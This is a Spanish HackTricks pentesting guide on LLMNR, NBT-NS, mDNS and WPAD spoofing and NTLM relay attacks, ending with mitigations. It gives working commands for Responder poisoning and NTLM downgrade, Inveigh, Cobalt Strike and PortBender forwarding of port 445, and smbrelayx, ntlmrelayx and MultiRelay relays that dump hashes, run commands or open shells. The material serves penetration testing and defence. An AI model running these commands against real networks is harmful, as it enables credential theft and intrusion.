hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
2023-06-03 01:46:23 +00:00

304 lines
23 KiB
Markdown

# Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y ataques de relé
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Protocolos de red
### LLMNR, NBT-NS y mDNS
Los sistemas de Microsoft utilizan Link-Local Multicast Name Resolution (LLMNR) y el servicio de nombres NetBIOS (NBT-NS) para la resolución de hosts locales cuando fallan las búsquedas DNS. Las implementaciones de Apple Bonjour y Linux de configuración cero utilizan Multicast DNS (mDNS) para descubrir sistemas dentro de una red. Estos protocolos no están autenticados y transmiten mensajes a través de UDP; por lo tanto, los atacantes pueden explotarlos para dirigir a los usuarios a servicios maliciosos.
Puede suplantar servicios que son buscados por los hosts utilizando Responder para enviar respuestas falsas.\
Lea aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### WPAD
Muchos navegadores utilizan Web Proxy Auto-Discovery (WPAD) para cargar la configuración del proxy desde la red. Un servidor WPAD proporciona la configuración del proxy del cliente a través de una URL específica (por ejemplo, _http://wpad.example.org/wpad.dat_) al ser identificado a través de cualquiera de los siguientes:
* DHCP, utilizando una entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
* DNS, buscando el nombre de host _wpad_ en el dominio local
* Microsoft LLMNR y NBT-NS (en caso de fallo de búsqueda DNS)
Responder automatiza el ataque WPAD, ejecutando un proxy y dirigiendo a los clientes a un servidor WPAD malicioso a través de DHCP, DNS, LLMNR y NBT-NS.
## Envenenamiento de protocolos
### Responder - LLMNR, NBT-NS y MDNS
> Responder es un envenenador de LLMNR, NBT-NS y MDNS. Responder responderá a las consultas específicas de NBT-NS (servicio de nombres NetBIOS) basadas en su sufijo de nombre (ver: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). Por defecto, la herramienta solo responderá a la solicitud del servicio de servidor de archivos, que es para SMB.
>
> El concepto detrás de esto es dirigir nuestras respuestas y ser más sigilosos en la red. Esto también ayuda a asegurar que no rompamos el comportamiento legítimo de NBT-NS.
* [**Responder**](https://github.com/lgandx/Responder) está instalado en kali por defecto y el archivo de configuración se encuentra en \*\*`/etc/responder/Responder.conf` \*\* (aquí puedes desactivar los servidores falsos)
* **Responder** imprimirá las hashes en pantalla y las escribirá en un archivo de registro por host ubicado en el directorio `/usr/share/responder/logs`. Las hashes se guardan en el formato `(NOMBRE_DEL_MÓDULO)-(TIPO_DE_HASH)-(IP_DEL_CLIENTE).txt`
* Puedes encontrar Responder para **Windows** [aquí](https://github.com/lgandx/Responder-Windows)
* Responder funciona en **ipv4** e **ipv6**
#### Parámetros de Responder
```
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
```
<details>
<summary>Parámetros de Responder</summary>
* La bandera `-A` nos coloca en **modo de análisis**, permitiéndonos ver las solicitudes NBT-NS, BROWSER y LLMNR en el entorno sin envenenar ninguna respuesta.
* Siempre debemos proporcionar una interfaz o una dirección IP.
* `-wf` iniciará el servidor proxy malicioso WPAD.
* `-f` intentará identificar el sistema operativo y la versión del host remoto.
* Use la bandera `-v` para aumentar la verbosidad (se imprimirá mucha información adicional en la consola).
* Las opciones como `-F` y `-P` se pueden utilizar para forzar la autenticación NTLM o básica y forzar la autenticación del proxy, pero pueden provocar una solicitud de inicio de sesión, por lo que deben usarse con moderación.
* La bandera `-w` utiliza el servidor proxy WPAD incorporado. Esto puede ser muy efectivo, especialmente en grandes organizaciones, porque capturará todas las solicitudes HTTP de cualquier usuario que lance Internet Explorer si el navegador tiene habilitada la opción [Detectar automáticamente la configuración](https://docs.microsoft.com/es-es/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11).
</details>
#### Ejecutando Responder
Para ejecutar el comportamiento predeterminado de Responder, solo tienes que ejecutar:
```bash
responder -I <Iface> #Default conf
responder -I <Iface> -P -r -v #More chances but might break things
```
Una técnica interesante es utilizar Responder para degradar la autenticación NTLM cuando sea posible. Esto permitirá **capturar desafíos y respuestas NTLMv1** en lugar de NTLMv2 que pueden ser **fácilmente descifrados** [**siguiendo esta guía**](../../windows-hardening/ntlm/#ntlmv1-attack)**.**
```bash
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
```
Por **defecto**, la **impersonación de WPAD no se ejecutará**, pero puedes ejecutarla haciendo:
```bash
responder -I <Iface> --wpad
```
También puedes **resolver solicitudes NetBIOS** con **tu IP**. Y crear un **proxy de autenticación**:
```bash
responder.py -I <interface> -Pv
```
Normalmente no podrás interceptar las contraseñas NTLM (normalmente), pero puedes fácilmente obtener algunos **desafíos y respuestas NTLM** que puedes **descifrar** usando, por ejemplo, la opción `--format=netntlmv2` de _**john**_.
Los **registros y los desafíos** de la instalación predeterminada de _**Responder**_ en Kali se pueden encontrar en `/usr/share/responder/logs`.
#### Responder - Envenenamiento DHCP
Windows utiliza varias opciones DHCP personalizadas, como NetBIOS, WINS, configuraciones de WPAD. Cuando una estación de trabajo envía una solicitud DHCP para obtener su configuración de red, estas configuraciones adicionales pueden incluirse en la respuesta DHCP para facilitar la conectividad y la resolución de nombres.
Falsificar respuestas DHCP sin interrupción puede ser un desafío ya que estás interfiriendo con la configuración de red de una estación de trabajo. Por lo general, necesitas tener un muy buen conocimiento del subred objetivo, dónde está el servidor DNS, dónde está el switch, la tabla de enrutamiento, el dominio, la máscara de red, el servidor DHCP, etc. **Cualquier error con estas configuraciones resultará en interrupciones en la red.**
Sin embargo, falsificar respuestas DHCP tiene beneficios únicos. **Es definitivamente más sigiloso que el envenenamiento ARP**; una respuesta unicast es suficiente para envenenar permanentemente la información de enrutamiento de la víctima, también es común ver varios servidores DHCP operando en una red. Las respuestas DHCP unicast son más complejas de detectar, algunos switches proporcionan configuraciones de seguridad para evitar el espionaje DHCP, sin embargo, esas configuraciones no son sencillas y a menudo se configuran incorrectamente cuando se habilitan.
> Este ataque es altamente efectivo y te da contraseñas NTLMv1/2 aseguradas.
```bash
./Responder.py -I eth0 -Pdv
```
#### Responder - Capturando credenciales
Responder va a **suplantar todos los servicios que usen los protocolos mencionados**. Una vez que algún usuario intente acceder a un servicio que se resuelve usando esos protocolos, **intentará autenticarse contra Responder** y Responder podrá **capturar** las "credenciales" (probablemente un **NTLMv2 Challenge/Response**):
Es posible intentar degradar a NetNTLMv1 o intentar desactivar ESS.
![](<../../.gitbook/assets/poison (1) (1) (1).jpg>)
### Inveigh - Responder de C#/PowerShell
> Inveigh es un falsificador de ADIDNS/LLMNR/NBNS/mDNS/DNS y una herramienta de hombre en el medio diseñada para ayudar a los probadores de penetración/equipos rojos que se encuentran limitados a un sistema Windows.
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) era un script de PowerShell, ahora es un binario de C# que tiene las mismas características principales que Responder. Hay una [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) que enumera todos los parámetros e instrucciones de uso.\
Otra versión se puede encontrar en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero).
![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png)
O ejecútelo con más opciones:
```powershell
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```
O ejecuta la versión en C#:
```bash
Inveigh.exe
```
## Ataque de relevo NTLM
Este ataque retransmite **sesiones de autenticación SMB** en una red interna a una **máquina objetivo**. Si la sesión de autenticación **es exitosa**, automáticamente se accede a una **shell del sistema**. Tenga en cuenta que la autenticación retransmitida debe ser de un **usuario que tenga acceso de administrador local al host retransmitido** y **la firma SMB debe estar deshabilitada**.
### Reenvío y túneles 445
{% hint style="warning" %}
Si puede **introducir una máquina dentro de la red**, puede usar cualquiera de las **herramientas** de la siguiente sección para realizar un ataque de relevo y no necesita preocuparse por esto.
{% endhint %}
Sin embargo, en los equipos de respuesta a incidentes esto no es el caso, generalmente necesitará **reenviar el tráfico del puerto 445 de una máquina Windows a su máquina** ejecutando cualquiera de las siguientes herramientas y luego **enrutando el tráfico de esa herramienta a través de un proxy** para llegar a la máquina a atacar dentro de la red interna.
La herramienta [**PortBender**](https://github.com/praetorian-inc/PortBender) es un controlador para **redirigir** el tráfico destinado al puerto **445 a otro puerto** (por ejemplo, 8445) que **podemos enlazar**. **Requiere acceso de administrador local** para que se cargue el controlador. Tiene sentido usar `cd C:\Windows\System32\drivers` ya que aquí es donde van la mayoría de los controladores de Windows.
```bash
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
# To kill
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Metasploit
Metasploit es un framework de pruebas de penetración que permite a los profesionales de seguridad evaluar la seguridad de los sistemas y redes. Proporciona una amplia gama de herramientas y módulos para realizar pruebas de penetración en diferentes sistemas operativos y aplicaciones. Metasploit también se utiliza para automatizar tareas repetitivas y simplificar el proceso de pruebas de penetración. Es una herramienta muy popular en la comunidad de seguridad y se utiliza ampliamente en pruebas de penetración y evaluaciones de vulnerabilidades.
```bash
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
set SRVHOST <local_ip>
set SRVPORT 445
set SMBHOST <ip_to_auth_to>
run -j
```
### smbrelayx
smbrelayx es una herramienta que permite realizar ataques de relé SMB. Básicamente, lo que hace es interceptar las solicitudes SMB que se realizan en la red y las reenvía a otro destino. Esto puede ser utilizado para realizar ataques de tipo "man-in-the-middle" y obtener credenciales de usuario. Además, smbrelayx también puede ser utilizado para realizar ataques de tipo "NTLMv2 hash theft", que permiten obtener hashes de contraseñas de usuarios sin necesidad de crackearlas.
```bash
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
# By default it will just dump hashes
# To execute a command use: -c "ipconfig"
# To execute a backdoor use: -e "/path/to/backdoor
# Attack through socks proxy
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
```
### MultiRelay
Si deseas utilizar **MultiRelay**, ve a _**/usr/share/responder/tools**_ y ejecuta MultiRelay (`-t <IP objetivo> -u <Usuario>`):
```bash
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
# By default a shell is returned
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
# Use proxychains if you need to route the traffic to reach the attacked ip
```
![](<../../.gitbook/assets/image (209).png>)
### Forzar Inicios de Sesión NTLM
En Windows, **es posible forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias**. Lee la siguiente página para aprender cómo hacerlo:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
{% endcontent-ref %}
## Solución
### Desactivar LLMNR
Para desactivar LLMNR en tu dominio para los clientes DNS, abre gpedit.msc.\
Navega a Configuración del equipo->Plantillas administrativas->Red->Cliente DNS.\
Localiza la opción "Desactivar la resolución de nombres multicast" y haz clic en "Configuración de directiva":
![](../../.gitbook/assets/1.jpg)
Una vez que se abra la nueva ventana, habilita esta opción, presiona Aplicar y haz clic en Aceptar:
![](../../.gitbook/assets/2.jpg)
### **Desactivar NBT-NS**
Una opción para desactivar NBT-NS es usar opciones de ámbito DHCP.
Si usas el servidor DHCP de Microsoft, selecciona el ámbito para el que deseas desactivar NBT-NS. Haz clic derecho en "Opciones de ámbito" y haz clic en "Configurar opciones". En el ejemplo a continuación, el ámbito DHCP en el que quiero desactivar NBT-NS es 192.168.1.100.
![](../../.gitbook/assets/3.jpg)
En la ventana de opciones de ámbito, navega a la pestaña avanzada, cambia la ventana desplegable a "Opciones de Microsoft Windows 2000":
![](../../.gitbook/assets/4.jpg)
Selecciona la opción "001 Microsoft Disable Netbios Option" de la lista y cambia su valor a "0x2", haz clic en Aplicar y luego en Aceptar:
![](../../.gitbook/assets/5.jpg)
### WPAD
Para mitigar el ataque WPAD, puedes agregar una entrada para "wpad" en tu zona DNS. Ten en cuenta que la entrada DNS no necesita apuntar a un servidor WPAD válido. Mientras las consultas se resuelvan, se evitará el ataque.
### Multi-relay
1\. **Forzar la firma SMB en todas las máquinas locales con Windows**. Esta configuración firmará digitalmente cada sesión SMB, lo que obliga tanto al cliente como al servidor a verificar la fuente de los paquetes antes de continuar. Esta configuración solo está habilitada de forma predeterminada en los controladores de dominio. Los siguientes artículos de Microsoft detallan estas configuraciones (que se pueden habilitar a través de la directiva de grupo) y cómo implementarlas.
[https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/)
[https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always)
2\. **Revisar y asegurarse de que los usuarios en la red local solo puedan iniciar sesión de forma remota en las máquinas en las que sea necesario**. Por ejemplo: Sally solo puede iniciar sesión en la estación de trabajo de Sally. Si un atacante interceptara la sesión de autenticación SMB de Sally, no podría transmitir la sesión a ninguna estación de trabajo, lo que volvería inútil este método.
3\. **Restringir la autenticación NTLM en la red local tanto como sea posible**. Este ataque no puede aprovechar la autenticación Kerberos, por lo que al limitar la cantidad de NTLM que ocurre, se puede obstaculizar en gran medida este ataque. Hay información de Microsoft sobre cómo hacer que esto suceda, pero ten cuidado... Si la autenticación Kerberos falla por cualquier motivo, generalmente se vuelve a NTLM. Si lo desactivas por completo, tu red podría detenerse.
4\. **Prevenir usuarios no autorizados en tu red**. Una amenaza interna probablemente no utilizará un ataque de retransmisión SMB, ya que ya tiene credenciales de red. Reforzando tus políticas de seguridad física, previniendo dispositivos no autorizados en la red con ACL y filtrado MAC, y asegurando una segmentación de red adecuada, puedes limitar en gran medida la amenaza de que se realice este ataque.
## Referencias
* [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
* **Imágenes de:**\
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
[https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>